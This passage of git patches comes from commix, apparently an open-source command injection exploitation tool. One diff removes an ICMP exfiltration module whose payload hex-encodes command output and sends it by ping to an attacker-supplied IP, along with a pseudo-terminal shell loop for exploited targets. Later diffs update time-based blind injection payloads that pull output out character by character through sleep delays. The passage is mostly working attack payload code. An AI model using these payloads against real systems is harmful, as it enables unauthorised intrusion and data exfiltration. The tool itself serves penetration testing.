- payload = ("; " + cmd + " | xxd -p -c" + str(exfiltration_length) + " | while read line; do ping -p $line -c1 -s" + str(exfiltration_length * 2) + " -q " + ip_src + "; done")
-
- # Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Executing the '" + cmd + "' command. "
- sys.stdout.write(settings.print_debug_msg(debug_msg))
- sys.stdout.flush()
- sys.stdout.write("\n" + settings.print_payload(payload) + "\n")
-
- # Check if defined POST data
- if not settings.USER_DEFINED_POST_DATA:
- url = url.replace(settings.INJECT_TAG, "")
- data = payload.replace(" ", "%20")
- req = url + data
- else:
- values = {vuln_parameter:payload}
- data = _urllib.parse.urlencode(values).encode(settings.DEFAULT_CODEC)
- request = _urllib.request.Request(url=url, data=data)
-
- try:
- sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n")
- response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
- time.sleep(3)
- sys.stdout.write(Style.RESET_ALL)
- if add_new_line:
- print("\n")
- add_new_line = True
- else:
- print(settings.SINGLE_WHITESPACE)
-
- except _urllib.error.HTTPError as err_msg:
- print(settings.print_critical_msg(str(err_msg.code)))
- raise SystemExit()
-
- except _urllib.error.URLError as err_msg:
- print(settings.print_critical_msg(str(err_msg.reason) + "."))
- raise SystemExit()
-
- except _http_client.InvalidURL as err:
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
-def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique):
-
- err_msg = ""
- if menu.enumeration_options():
- err_msg += "enumeration"
- if menu.file_access_options():
- if err_msg != "":
- err_msg = err_msg + " and "
- err_msg = err_msg + "file-access"
-
- if err_msg != "":
- warn_msg = "The " + err_msg + " options are not supported "
- warn_msg += "by this module because of the structure of the exfiltrated data. "
- warn_msg += "Please try using any unix-like commands manually."
- print(settings.print_warning_msg(warn_msg))
-
- # Pseudo-Terminal shell
- go_back = False
- go_back_again = False
- while True:
- if go_back == True:
- break
- message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
- gotshell = _common.read_input(message, default="Y", check_batch=True)
- if gotshell in settings.CHOICE_YES:
- print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
- if settings.READLINE_ERROR:
- checks.no_readline_module()
- while True:
- try:
- if not settings.READLINE_ERROR:
- checks.tab_autocompleter()
- sys.stdout.write(settings.OS_SHELL)
- cmd = common.read_input(message="", default="os_shell", check_batch=True)
- cmd = checks.escaped_cmd(cmd)
- if cmd.lower() in settings.SHELL_OPTIONS:
- if cmd.lower() == "quit" or cmd.lower() == "back":
- print(settings.SINGLE_WHITESPACE)
- os._exit(0)
- elif cmd.lower() == "?":
- menu.os_shell_options()
- elif cmd.lower() == "os_shell":
- warn_msg = "You are into the '" + cmd.lower() + "' mode."
- print(settings.print_warning_msg(warn_msg))+ "\n"
- elif cmd.lower() == "reverse_tcp":
- warn_msg = "This option is not supported by this module."
- print(settings.print_warning_msg(warn_msg))+ "\n"
- else:
- # Command execution results.
- cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src)
- except KeyboardInterrupt:
- os._exit(0)
- except:
- print(settings.SINGLE_WHITESPACE)
- os._exit(0)
- elif gotshell in settings.CHOICE_NO:
- print(settings.SINGLE_WHITESPACE)
- os._exit(0)
- elif gotshell in settings.CHOICE_QUIT:
- print(settings.SINGLE_WHITESPACE)
- os._exit(0)
- else:
- err_msg = "'" + gotshell + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
-
-
-def exploitation(ip_dst, ip_src, url, http_request_method, vuln_parameter, technique):
- # Check injection state
- settings.DETECTION_PHASE = False
- settings.EXPLOITATION_PHASE = True
- signal.signal(signal.SIGINT, signal_handler)
- sniffer_thread = threading.Thread(target=snif, args=(ip_dst, ip_src, )).start()
- time.sleep(2)
- if menu.options.os_cmd:
- cmd = menu.options.os_cmd
- cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src)
- print(settings.SINGLE_WHITESPACE)
- os._exit(0)
- else:
- input_cmd(http_request_method, url, vuln_parameter, ip_src, technique)
-
-def icmp_exfiltration_handler(url, http_request_method):
- # Check injection state
- settings.DETECTION_PHASE = True
- settings.EXPLOITATION_PHASE = False
- # You need to have administrative privileges to run this module.
- if not _common.running_as_admin():
- err_msg = "You need to have administrative privileges to run this module."
- print(settings.print_critical_msg(err_msg) + "\n")
- os._exit(0)
-
- # Check if defined POST data
- if not settings.USER_DEFINED_POST_DATA:
- #url = parameters.do_GET_check(url, http_request_method)
- request = _urllib.request.Request(url)
- headers.do_check(request)
- vuln_parameter = parameters.vuln_GET_param(url)
-
- else:
- parameter = menu.options.data
- #parameter = _urllib.parse.unquote(parameter)
- parameter = parameters.do_POST_check(parameter, http_request_method)
- request = _urllib.request.Request(url, parameter)
- headers.do_check(request)
- vuln_parameter = parameters.vuln_POST_param(parameter, url)
-
- # Check if defined any HTTP Proxy.
- if menu.options.proxy:
- try:
- response = proxy.use_proxy(request)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- print("\n" + settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- os._exit(0)
-
- # Check if defined Tor.
- elif menu.options.tor:
- try:
- response = tor.use_tor(request)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- print("\n" + settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- os._exit(0)
-
- else:
- try:
- response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- print("\n" + settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- os._exit(0)
-
- if settings.TARGET_OS == "win":
- err_msg = "This module's payloads are not suppoted by "
- err_msg += "the identified target operating system."
- print(settings.print_critical_msg(err_msg) + "\n")
- os._exit(0)
-
- else:
- technique = "ICMP exfiltration module"
- info_msg ="Loading the " + technique + ". \n"
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
-
- ip_data = menu.options.ip_icmp_data
-
- # Source IP address
- ip_src = re.findall(r"ip_src=(.*),", ip_data)
- ip_src = ''.join(ip_src)
-
- # Destination IP address
- ip_dst = re.findall(r"ip_dst=(.*)", ip_data)
- ip_dst = ''.join(ip_dst)
-
- exploitation(ip_dst, ip_src, url, http_request_method, vuln_parameter, technique)
-
-if __name__ == "__main__":
- icmp_exfiltration_handler(url, http_request_method)
-
-# eof
\ No newline at end of file
diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py
index 04e772b1b3..e604f25695 100644
--- a/src/core/modules/modules_handler.py
+++ b/src/core/modules/modules_handler.py
@@ -25,30 +25,6 @@
"""
def load_modules(url, http_request_method, filename):
- # Check if defined the ICMP exfiltration module
- if menu.options.ip_icmp_data :
- try:
- # The ICMP exfiltration module
- from src.core.modules.icmp_exfiltration import icmp_exfiltration
- # The ICMP exfiltration handler
- icmp_exfiltration.icmp_exfiltration_handler(url, http_request_method)
- except ImportError as err_msg:
- print("\n" + settings.print_critical_msg(err_msg))
- raise SystemExit()
- raise SystemExit()
-
- # Check if defined the DNS exfiltration module
- if menu.options.dns_server :
- try:
- # The DNS exfiltration module
- from src.core.modules.dns_exfiltration import dns_exfiltration
- # The DNS exfiltration handler
- dns_exfiltration.dns_exfiltration_handler(url, http_request_method)
- except ImportError as err_msg:
- print("\n" + settings.print_critical_msg(err_msg))
- raise SystemExit()
- raise SystemExit()
-
# Check if defined the shellshock module
if menu.options.shellshock :
try:
diff --git a/src/utils/menu.py b/src/utils/menu.py
index 0ecf8de967..78fe3a3900 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -408,17 +408,6 @@ def banner():
# Modules options
modules = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Modules" + Style.RESET_ALL,
"These options can be used increase the detection and/or injection capabilities.")
-modules.add_option("--icmp-exfil",
- action="store",
- dest="ip_icmp_data",
- default=False,
- help="The 'ICMP exfiltration' injection module. (e.g. 'ip_src=192.168.178.1,ip_dst=192.168.178.3').")
-
-modules.add_option("--dns-server",
- action="store",
- dest="dns_server",
- default=False,
- help="The 'DNS exfiltration' injection module. (Domain name used for DNS exfiltration attack).")
modules.add_option("--shellshock",
action="store_true",
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 73312dd725..4526e71893 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -234,7 +234,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "75"
+REVISION = "76"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From a333129e77b4b887d3b7161cd614f69c24e036d3 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 6 Jun 2022 08:32:39 +0300
Subject: [PATCH 153/560] Improvement regarding alternative shell
(i.e.`--alter-shell`) for generating Python 3x payloads.
---
doc/CHANGELOG.md | 1 +
.../techniques/time_based/tb_payloads.py | 133 ++++++++-------
src/core/injections/controller/controller.py | 6 +-
.../techniques/classic/cb_payloads.py | 16 +-
.../techniques/eval_based/eb_payloads.py | 4 +-
.../techniques/file_based/fb_payloads.py | 16 +-
.../techniques/tempfile_based/tfb_payloads.py | 152 +++++++++---------
src/core/main.py | 15 +-
src/utils/settings.py | 29 ++--
9 files changed, 197 insertions(+), 175 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index ca70c3d3fa..e0f40c072b 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads.
* Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed.
* Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options.
* Revised: Improvement regarding shellshock module.
diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py
index 5f3e803687..d90fdaf3ba 100755
--- a/src/core/injections/blind/techniques/time_based/tb_payloads.py
+++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py
@@ -81,7 +81,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "[ " + str(output_length) + " != $(echo " + TAG + " " +
+ "[ " + str(output_length) + " -ne $(echo " + TAG + " " +
pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator +
"sleep " + str(timesec)
)
@@ -95,7 +95,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
"""
def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method):
if settings.TARGET_OS == "win":
- python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print len(\'" + TAG + "\')\""
+ python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\""
if separator == "||" :
payload = (separator + " "
"for /f \"tokens=*\" %i in ('cmd /c " +
@@ -119,10 +119,10 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me
if separator == ";" :
payload = (separator +
# Find the length of the output, using readline().
- "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator +
- "if [ " + str(output_length) + " != ${str1} ]" + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator +
+ "if [ " + str(output_length) + " -ne ${str1} ]" + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
@@ -130,10 +130,10 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me
#separator = "\n"
payload = (separator +
# Find the length of the output, using readline().
- "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator +
- "if [ " + str(output_length) + " != ${str1} ]" + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator +
+ "if [ " + str(output_length) + " -ne ${str1} ]" + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
@@ -141,11 +141,11 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + " "
- "$(python -c \"import time\ntime.sleep(0)\") " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
# Find the length of the output, using readline().
- "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator +
+ "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator +
"[ " + str(output_length) + " -eq ${str1} ] " + separator +
- "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
@@ -154,8 +154,8 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me
pipe = "|"
payload = (pipe +
# Find the length of the output, using readline().
- "[ " + str(output_length) + " != $(python -c \"print len(\'" + TAG + "\')\") ] " + separator +
- "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
+ "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
pass
@@ -166,7 +166,10 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n",";")
-
+ else:
+ if settings.TARGET_OS != "win":
+ payload = payload.replace("\n","%0d")
+
return payload
"""
@@ -235,7 +238,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "[ " +str(output_length)+ " != $(echo -n \"$(" + cmd + ")\" " +
+ "[ " +str(output_length)+ " -ne $(echo -n \"$(" + cmd + ")\" " +
pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator +
"sleep " + str(timesec)
)
@@ -271,10 +274,10 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
if separator == ";" :
payload = (separator +
# Find the length of the output, using readline().
- "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator +
- "if [ " + str(output_length) + " != ${str1} ]" + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator +
+ "if [ " + str(output_length) + " -ne ${str1} ]" + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
@@ -282,10 +285,10 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
#separator = "\n"
payload = (separator +
# Find the length of the output, using readline().
- "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator +
- "if [ " + str(output_length) + " != ${str1} ]" + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator +
+ "if [ " + str(output_length) + " -ne ${str1} ]" + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
@@ -293,11 +296,11 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "$(python -c \"import time\ntime.sleep(0)\") " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
# Find the length of the output, using readline().
- "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator +
+ "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator +
"[ " + str(output_length) + " -eq ${str1} ] " + separator +
- "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
@@ -306,8 +309,8 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
pipe = "|"
payload = (pipe +
# Find the length of the output, using readline().
- "[ " + str(output_length) + " != $(python -c \"print len(\'$(echo $(" + cmd + "))\')\") ] " + separator +
- "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
+ "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\") ] " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
pass
@@ -318,7 +321,9 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n",";")
-
+ else:
+ if settings.TARGET_OS != "win":
+ payload = payload.replace("\n","%0d")
return payload
"""
Get the execution output, of shell execution.
@@ -394,7 +399,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "[ " + str(ascii_char) + " != $(" + cmd + pipe + "tr -d '\\n'" +
+ "[ " + str(ascii_char) + " -ne $(" + cmd + pipe + "tr -d '\\n'" +
pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" +
pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator +
"sleep " + str(timesec)
@@ -409,7 +414,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
"""
def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "])\""
+ python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\""
if separator == "||" :
payload = (separator + " "
"for /f \"tokens=*\" %i in ('cmd /c " +
@@ -432,20 +437,20 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http
else:
if separator == ";" :
payload = (separator +
- "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator +
- "if [ " + str(ascii_char) + " != ${str} ]" + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator +
+ "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
elif separator == "%0a" :
#separator = "\n"
payload = (separator +
- "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator +
- "if [ " + str(ascii_char) + " != ${str} ]" + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator +
+ "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
@@ -453,10 +458,10 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "$(python -c \"import time\ntime.sleep(0)\") " + separator +
- "str=$(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\")" + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator +
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
- "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
@@ -464,8 +469,8 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "[ " + str(ascii_char) + " != $(python -c \"print ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "])\nexit(0)\") ] " + separator +
- "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
+ "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
@@ -477,7 +482,9 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n",";")
-
+ else:
+ if settings.TARGET_OS != "win":
+ payload = payload.replace("\n","%0d")
return payload
"""
@@ -539,7 +546,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "[ " + str(ascii_char) + " != \"$(" + cmd + ")\" ] " + separator +
+ "[ " + str(ascii_char) + " -ne \"$(" + cmd + ")\" ] " + separator +
"sleep " + str(timesec)
)
else:
@@ -574,20 +581,20 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt
else:
if separator == ";" :
payload = (separator +
- "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator +
- "if [ " + str(ascii_char) + " != ${str} ]" + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator +
+ "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
elif separator == "%0a" :
#separator = "\n"
payload = (separator +
- "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator +
- "if [ " + str(ascii_char) + " != ${str} ]" + separator +
- "then $(python -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator +
+ "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
+ "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
+ "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
"fi "
)
@@ -595,10 +602,10 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "$(python -c \"import time\ntime.sleep(0)\") " + separator +
- "str=$(python -c \"print $(echo $(" + cmd + "))\n\")" + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator +
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
- "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
@@ -606,8 +613,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "[ " + str(ascii_char) + " != $(python -c \"print $(echo $(" + cmd + "))\n\") ] " + separator +
- "$(python -c \"import time\ntime.sleep(0)\") " + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
+ "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\") ] " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
@@ -619,6 +626,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n",";")
-
+ else:
+ if settings.TARGET_OS != "win":
+ payload = payload.replace("\n","%0d")
return payload
# eof
\ No newline at end of file
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 4210fd607c..ee24a265bb 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -70,6 +70,10 @@ def check_for_stored_levels(url, http_request_method):
Heuristic (basic) tests for command injection
"""
def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers):
+ if menu.options.alter_shell:
+ basic_payloads = settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS
+ else:
